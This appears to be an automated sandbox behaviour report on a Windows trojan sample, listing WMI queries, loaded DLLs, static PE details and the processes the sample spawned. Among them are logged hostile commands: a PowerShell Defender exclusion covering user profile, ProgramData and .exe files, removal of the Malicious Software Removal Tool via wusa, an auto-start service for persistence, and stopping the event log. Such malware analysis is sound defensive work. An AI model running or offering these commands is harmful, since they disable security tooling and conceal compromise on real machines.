Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "PHVUTTIO"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "PHVUTTIO"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe C:\ProgramData\utblsmnncewd\bbecxurdegum.exe
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "PHVUTTIO"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "PHVUTTIO"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static file information: File size 2625536 > 1048576

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x277a00

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Static PE information: section name: .00cfg
Source: bbecxurdegum.exe.0.dr	Static PE information: section name: .00cfg

